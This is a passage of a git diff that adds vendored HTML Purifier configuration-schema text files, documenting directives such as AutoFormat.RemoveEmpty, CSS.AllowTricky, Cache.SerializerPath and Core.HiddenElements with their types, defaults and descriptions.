+TYPE: lookup
+VERSION: 4.0.0
+DEFAULT: array('td' => true, 'th' => true)
+--DESCRIPTION--
+<p>
+ When %AutoFormat.RemoveEmpty and %AutoFormat.RemoveEmpty.RemoveNbsp
+ are enabled, this directive defines what HTML elements should not be
+ removede if they have only a non-breaking space in them.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt
new file mode 100644
index 000000000..ca17eb1dc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt
@@ -0,0 +1,15 @@
+AutoFormat.RemoveEmpty.RemoveNbsp
+TYPE: bool
+VERSION: 4.0.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ When enabled, HTML Purifier will treat any elements that contain only
+ non-breaking spaces as well as regular whitespace as empty, and remove
+ them when %AutoForamt.RemoveEmpty is enabled.
+</p>
+<p>
+ See %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions for a list of elements
+ that don't have this behavior applied to them.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt
new file mode 100644
index 000000000..34657ba47
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt
@@ -0,0 +1,46 @@
+AutoFormat.RemoveEmpty
+TYPE: bool
+VERSION: 3.2.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ When enabled, HTML Purifier will attempt to remove empty elements that
+ contribute no semantic information to the document. The following types
+ of nodes will be removed:
+</p>
+<ul><li>
+ Tags with no attributes and no content, and that are not empty
+ elements (remove <code>&lt;a&gt;&lt;/a&gt;</code> but not
+ <code>&lt;br /&gt;</code>), and
+ </li>
+ <li>
+ Tags with no content, except for:<ul>
+ <li>The <code>colgroup</code> element, or</li>
+ <li>
+ Elements with the <code>id</code> or <code>name</code> attribute,
+ when those attributes are permitted on those elements.
+ </li>
+ </ul></li>
+</ul>
+<p>
+ Please be very careful when using this functionality; while it may not
+ seem that empty elements contain useful information, they can alter the
+ layout of a document given appropriate styling. This directive is most
+ useful when you are processing machine-generated HTML, please avoid using
+ it on regular user HTML.
+</p>
+<p>
+ Elements that contain only whitespace will be treated as empty. Non-breaking
+ spaces, however, do not count as whitespace. See
+ %AutoFormat.RemoveEmpty.RemoveNbsp for alternate behavior.
+</p>
+<p>
+ This algorithm is not perfect; you may still notice some empty tags,
+ particularly if a node had elements, but those elements were later removed
+ because they were not permitted in that context, or tags that, after
+ being auto-closed by another tag, where empty. This is for safety reasons
+ to prevent clever code from breaking validation. The general rule of thumb:
+ if a tag looked empty on the way in, it will get removed; if HTML Purifier
+ made it empty, it will stay.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt
new file mode 100644
index 000000000..dde990ab2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt
@@ -0,0 +1,11 @@
+AutoFormat.RemoveSpansWithoutAttributes
+TYPE: bool
+VERSION: 4.0.1
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ This directive causes <code>span</code> tags without any attributes
+ to be removed. It will also remove spans that had all attributes
+ removed during processing.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt
new file mode 100644
index 000000000..b324608f7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt
@@ -0,0 +1,8 @@
+CSS.AllowImportant
+TYPE: bool
+DEFAULT: false
+VERSION: 3.1.0
+--DESCRIPTION--
+This parameter determines whether or not !important cascade modifiers should
+be allowed in user CSS. If false, !important will stripped.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt
new file mode 100644
index 000000000..748be0eec
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt
@@ -0,0 +1,11 @@
+CSS.AllowTricky
+TYPE: bool
+DEFAULT: false
+VERSION: 3.1.0
+--DESCRIPTION--
+This parameter determines whether or not to allow "tricky" CSS properties and
+values. Tricky CSS properties/values can drastically modify page layout or
+be used for deceptive practices but do not directly constitute a security risk.
+For example, <code>display:none;</code> is considered a tricky property that
+will only be allowed if this directive is set to true.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt
new file mode 100644
index 000000000..3fd465406
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt
@@ -0,0 +1,12 @@
+CSS.AllowedFonts
+TYPE: lookup/null
+VERSION: 4.3.0
+DEFAULT: NULL
+--DESCRIPTION--
+<p>
+ Allows you to manually specify a set of allowed fonts. If
+ <code>NULL</code>, all fonts are allowed. This directive
+ affects generic names (serif, sans-serif, monospace, cursive,
+ fantasy) as well as specific font families.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt
new file mode 100644
index 000000000..460112ebe
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt
@@ -0,0 +1,18 @@
+CSS.AllowedProperties
+TYPE: lookup/null
+VERSION: 3.1.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ If HTML Purifier's style attributes set is unsatisfactory for your needs,
+ you can overload it with your own list of tags to allow. Note that this
+ method is subtractive: it does its job by taking away from HTML Purifier
+ usual feature set, so you cannot add an attribute that HTML Purifier never
+ supported in the first place.
+</p>
+<p>
+ <strong>Warning:</strong> If another directive conflicts with the
+ elements here, <em>that</em> directive will win and override.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt
new file mode 100644
index 000000000..5cb7dda3b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt
@@ -0,0 +1,11 @@
+CSS.DefinitionRev
+TYPE: int
+VERSION: 2.0.0
+DEFAULT: 1
+--DESCRIPTION--
+
+<p>
+ Revision identifier for your custom definition. See
+ %HTML.DefinitionRev for details.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt
new file mode 100644
index 000000000..f1f5c5f12
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt
@@ -0,0 +1,13 @@
+CSS.ForbiddenProperties
+TYPE: lookup
+VERSION: 4.2.0
+DEFAULT: array()
+--DESCRIPTION--
+<p>
+ This is the logical inverse of %CSS.AllowedProperties, and it will
+ override that directive or any other directive. If possible,
+ %CSS.AllowedProperties is recommended over this directive,
+ because it can sometimes be difficult to tell whether or not you've
+ forbidden all of the CSS properties you truly would like to disallow.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt
new file mode 100644
index 000000000..7a3291470
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt
@@ -0,0 +1,16 @@
+CSS.MaxImgLength
+TYPE: string/null
+DEFAULT: '1200px'
+VERSION: 3.1.1
+--DESCRIPTION--
+<p>
+ This parameter sets the maximum allowed length on <code>img</code> tags,
+ effectively the <code>width</code> and <code>height</code> properties.
+ Only absolute units of measurement (in, pt, pc, mm, cm) and pixels (px) are allowed. This is
+ in place to prevent imagecrash attacks, disable with null at your own risk.
+ This directive is similar to %HTML.MaxImgLength, and both should be
+ concurrently edited, although there are
+ subtle differences in the input format (the CSS max is a number with
+ a unit).
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt
new file mode 100644
index 000000000..148eedb8b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt
@@ -0,0 +1,10 @@
+CSS.Proprietary
+TYPE: bool
+VERSION: 3.0.0
+DEFAULT: false
+--DESCRIPTION--
+
+<p>
+ Whether or not to allow safe, proprietary CSS values.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt
new file mode 100644
index 000000000..e733a61e8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt
@@ -0,0 +1,9 @@
+CSS.Trusted
+TYPE: bool
+VERSION: 4.2.1
+DEFAULT: false
+--DESCRIPTION--
+Indicates whether or not the user's CSS input is trusted or not. If the
+input is trusted, a more expansive set of allowed properties. See
+also %HTML.Trusted.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt
new file mode 100644
index 000000000..c486724c8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt
@@ -0,0 +1,14 @@
+Cache.DefinitionImpl
+TYPE: string/null
+VERSION: 2.0.0
+DEFAULT: 'Serializer'
+--DESCRIPTION--
+
+This directive defines which method to use when caching definitions,
+the complex data-type that makes HTML Purifier tick. Set to null
+to disable caching (not recommended, as you will see a definite
+performance degradation).
+
+--ALIASES--
+Core.DefinitionCache
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt
new file mode 100644
index 000000000..54036507d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt
@@ -0,0 +1,13 @@
+Cache.SerializerPath
+TYPE: string/null
+VERSION: 2.0.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ Absolute path with no trailing slash to store serialized definitions in.
+ Default is within the
+ HTML Purifier library inside DefinitionCache/Serializer. This
+ path must be writable by the webserver.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt
new file mode 100644
index 000000000..b2b83d9ab
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt
@@ -0,0 +1,11 @@
+Cache.SerializerPermissions
+TYPE: int
+VERSION: 4.3.0
+DEFAULT: 0755
+--DESCRIPTION--
+
+<p>
+ Directory permissions of the files and directories created inside
+ the DefinitionCache/Serializer or other custom serializer path.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt
new file mode 100644
index 000000000..568cbf3b3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt
@@ -0,0 +1,18 @@
+Core.AggressivelyFixLt
+TYPE: bool
+VERSION: 2.1.0
+DEFAULT: true
+--DESCRIPTION--
+<p>
+ This directive enables aggressive pre-filter fixes HTML Purifier can
+ perform in order to ensure that open angled-brackets do not get killed
+ during parsing stage. Enabling this will result in two preg_replace_callback
+ calls and at least two preg_replace calls for every HTML document parsed;
+ if your users make very well-formed HTML, you can set this directive false.
+ This has no effect when DirectLex is used.
+</p>
+<p>
+ <strong>Notice:</strong> This directive's default turned from false to true
+ in HTML Purifier 3.2.0.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt
new file mode 100644
index 000000000..2c910cc7d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt
@@ -0,0 +1,16 @@
+Core.AllowHostnameUnderscore
+TYPE: bool
+VERSION: 4.6.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ By RFC 1123, underscores are not permitted in host names.
+ (This is in contrast to the specification for DNS, RFC
+ 2181, which allows underscores.)
+ However, most browsers do the right thing when faced with
+ an underscore in the host name, and so some poorly written
+ websites are written with the expectation this should work.
+ Setting this parameter to true relaxes our allowed character
+ check so that underscores are permitted.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt
new file mode 100644
index 000000000..d7317911f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt
@@ -0,0 +1,12 @@
+Core.CollectErrors
+TYPE: bool
+VERSION: 2.0.0
+DEFAULT: false
+--DESCRIPTION--
+
+Whether or not to collect errors found while filtering the document. This
+is a useful way to give feedback to your users. <strong>Warning:</strong>
+Currently this feature is very patchy and experimental, with lots of
+possible error messages not yet implemented. It will not cause any
+problems, but it may not help your users either.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt
new file mode 100644
index 000000000..c572c14ec
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt
@@ -0,0 +1,29 @@
+Core.ColorKeywords
+TYPE: hash
+VERSION: 2.0.0
+--DEFAULT--
+array (
+ 'maroon' => '#800000',
+ 'red' => '#FF0000',
+ 'orange' => '#FFA500',
+ 'yellow' => '#FFFF00',
+ 'olive' => '#808000',
+ 'purple' => '#800080',
+ 'fuchsia' => '#FF00FF',
+ 'white' => '#FFFFFF',
+ 'lime' => '#00FF00',
+ 'green' => '#008000',
+ 'navy' => '#000080',
+ 'blue' => '#0000FF',
+ 'aqua' => '#00FFFF',
+ 'teal' => '#008080',
+ 'black' => '#000000',
+ 'silver' => '#C0C0C0',
+ 'gray' => '#808080',
+)
+--DESCRIPTION--
+
+Lookup array of color names to six digit hexadecimal number corresponding
+to color, with preceding hash mark. Used when parsing colors. The lookup
+is done in a case-insensitive manner.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt
new file mode 100644
index 000000000..64b114fce
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt
@@ -0,0 +1,14 @@
+Core.ConvertDocumentToFragment
+TYPE: bool
+DEFAULT: true
+--DESCRIPTION--
+
+This parameter determines whether or not the filter should convert
+input that is a full document with html and body tags to a fragment
+of just the contents of a body tag. This parameter is simply something
+HTML Purifier can do during an edge-case: for most inputs, this
+processing is not necessary.
+
+--ALIASES--
+Core.AcceptFullDocuments
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt
new file mode 100644
index 000000000..36f16e07e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt
@@ -0,0 +1,17 @@
+Core.DirectLexLineNumberSyncInterval
+TYPE: int
+VERSION: 2.0.0
+DEFAULT: 0
+--DESCRIPTION--
+
+<p>
+ Specifies the number of tokens the DirectLex line number tracking
+ implementations should process before attempting to resyncronize the
+ current line count by manually counting all previous new-lines. When
+ at 0, this functionality is disabled. Lower values will decrease
+ performance, and this is only strictly necessary if the counting
+ algorithm is buggy (in which case you should report it as a bug).
+ This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is
+ not being used.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt
new file mode 100644
index 000000000..1cd4c2c96
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt
@@ -0,0 +1,14 @@
+Core.DisableExcludes
+TYPE: bool
+DEFAULT: false
+VERSION: 4.5.0
+--DESCRIPTION--
+<p>
+ This directive disables SGML-style exclusions, e.g. the exclusion of
+ <code>&lt;object&gt;</code> in any descendant of a
+ <code>&lt;pre&gt;</code> tag. Disabling excludes will allow some
+ invalid documents to pass through HTML Purifier, but HTML Purifier
+ will also be less likely to accidentally remove large documents during
+ processing.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt
new file mode 100644
index 000000000..ce243c35d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt
@@ -0,0 +1,9 @@
+Core.EnableIDNA
+TYPE: bool
+DEFAULT: false
+VERSION: 4.4.0
+--DESCRIPTION--
+Allows international domain names in URLs. This configuration option
+requires the PEAR Net_IDNA2 module to be installed. It operates by
+punycoding any internationalized host names for maximum portability.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt
new file mode 100644
index 000000000..8bfb47c3a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt
@@ -0,0 +1,15 @@
+Core.Encoding
+TYPE: istring
+DEFAULT: 'utf-8'
+--DESCRIPTION--
+If for some reason you are unable to convert all webpages to UTF-8, you can
+use this directive as a stop-gap compatibility change to let HTML Purifier
+deal with non UTF-8 input. This technique has notable deficiencies:
+absolutely no characters outside of the selected character encoding will be
+preserved, not even the ones that have been ampersand escaped (this is due
+to a UTF-8 specific <em>feature</em> that automatically resolves all
+entities), making it pretty useless for anything except the most I18N-blind
+applications, although %Core.EscapeNonASCIICharacters offers fixes this
+trouble with another tradeoff. This directive only accepts ISO-8859-1 if
+iconv is not enabled.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt
new file mode 100644
index 000000000..a3881be75
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt
@@ -0,0 +1,12 @@
+Core.EscapeInvalidChildren
+TYPE: bool
+DEFAULT: false
+--DESCRIPTION--
+<p><strong>Warning:</strong> this configuration option is no longer does anything as of 4.6.0.</p>
+
+<p>When true, a child is found that is not allowed in the context of the
+parent element will be transformed into text as if it were ASCII. When
+false, that element and all internal tags will be dropped, though text will
+be preserved. There is no option for dropping the element but preserving
+child nodes.</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt
new file mode 100644
index 000000000..a7a5b249b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt
@@ -0,0 +1,7 @@
+Core.EscapeInvalidTags
+TYPE: bool
+DEFAULT: false
+--DESCRIPTION--
+When true, invalid tags will be written back to the document as plain text.
+Otherwise, they are silently dropped.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt
new file mode 100644
index 000000000..abb499948
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt
@@ -0,0 +1,13 @@
+Core.EscapeNonASCIICharacters
+TYPE: bool
+VERSION: 1.4.0
+DEFAULT: false
+--DESCRIPTION--
+This directive overcomes a deficiency in %Core.Encoding by blindly
+converting all non-ASCII characters into decimal numeric entities before
+converting it to its native encoding. This means that even characters that
+can be expressed in the non-UTF-8 encoding will be entity-ized, which can
+be a real downer for encodings like Big5. It also assumes that the ASCII
+repetoire is available, although this is the case for almost all encodings.
+Anyway, use UTF-8!
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt
new file mode 100644
index 000000000..915391edb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt
@@ -0,0 +1,19 @@
+Core.HiddenElements
+TYPE: lookup
+--DEFAULT--
+array (
+ 'script' => true,
+ 'style' => true,
+)
+--DESCRIPTION--
+
+<p>
+ This directive is a lookup array of elements which should have their
+ contents removed when they are not allowed by the HTML definition.
+ For example, the contents of a <code>script</code> tag are not
+ normally shown in a document, so if script tags are to be removed,
+ their contents should be removed to. This is opposed to a <code>b</code>
+ tag, which defines some presentational changes but does not hide its
+ contents.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt
new file mode 100644
index 000000000..233fca14f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt
@@ -0,0 +1,10 @@
+Core.Language
+TYPE: string
+VERSION: 2.0.0
+DEFAULT: 'en'
+--DESCRIPTION--
+
+ISO 639 language code for localizable things in HTML Purifier to use,
+which is mainly error reporting. There is currently only an English (en)
+translation, so this directive is currently useless.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt
new file mode 100644
index 000000000..8983e2cca
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt
@@ -0,0 +1,34 @@
+Core.LexerImpl
+TYPE: mixed/null
+VERSION: 2.0.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ This parameter determines what lexer implementation can be used. The
+ valid values are:
+</p>
+<dl>
+ <dt><em>null</em></dt>
+ <dd>
+ Recommended, the lexer implementation will be auto-detected based on
+ your PHP-version and configuration.
+ </dd>
+ <dt><em>string</em> lexer identifier</dt>
+ <dd>
+ This is a slim way of manually overridding the implementation.
+ Currently recognized values are: DOMLex (the default PHP5
+implementation)
+ and DirectLex (the default PHP4 implementation). Only use this if
+ you know what you are doing: usually, the auto-detection will
+ manage things for cases you aren't even aware of.
+ </dd>
+ <dt><em>object</em> lexer instance</dt>
+ <dd>
+ Super-advanced: you can specify your own, custom, implementation that
+ implements the interface defined by <code>HTMLPurifier_Lexer</code>.
+ I may remove this option simply because I don't expect anyone
+ to use it.
+ </dd>
+</dl>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt
new file mode 100644
index 000000000..eb841a759
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt
@@ -0,0 +1,16 @@
+Core.MaintainLineNumbers
+TYPE: bool/null
+VERSION: 2.0.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ If true, HTML Purifier will add line number information to all tokens.
+ This is useful when error reporting is turned on, but can result in
+ significant performance degradation and should not be used when
+ unnecessary. This directive must be used with the DirectLex lexer,
+ as the DOMLex lexer does not (yet) support this functionality.
+ If the value is null, an appropriate value will be selected based
+ on other configuration.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt
new file mode 100644
index 000000000..d77f5360d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt
@@ -0,0 +1,11 @@
+Core.NormalizeNewlines
+TYPE: bool
+VERSION: 4.2.0
+DEFAULT: true
+--DESCRIPTION--
+<p>
+ Whether or not to normalize newlines to the operating
+ system default. When <code>false</code>, HTML Purifier
+ will attempt to preserve mixed newline files.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt
new file mode 100644
index 000000000..4070c2a0d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt
@@ -0,0 +1,12 @@
+Core.RemoveInvalidImg
+TYPE: bool
+DEFAULT: true
+VERSION: 1.3.0
+--DESCRIPTION--
+
+<p>
+ This directive enables pre-emptive URI checking in <code>img</code>
+ tags, as the attribute validation strategy is not authorized to
+ remove elements from the document. Revert to pre-1.3.0 behavior by setting to false.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txt
new file mode 100644
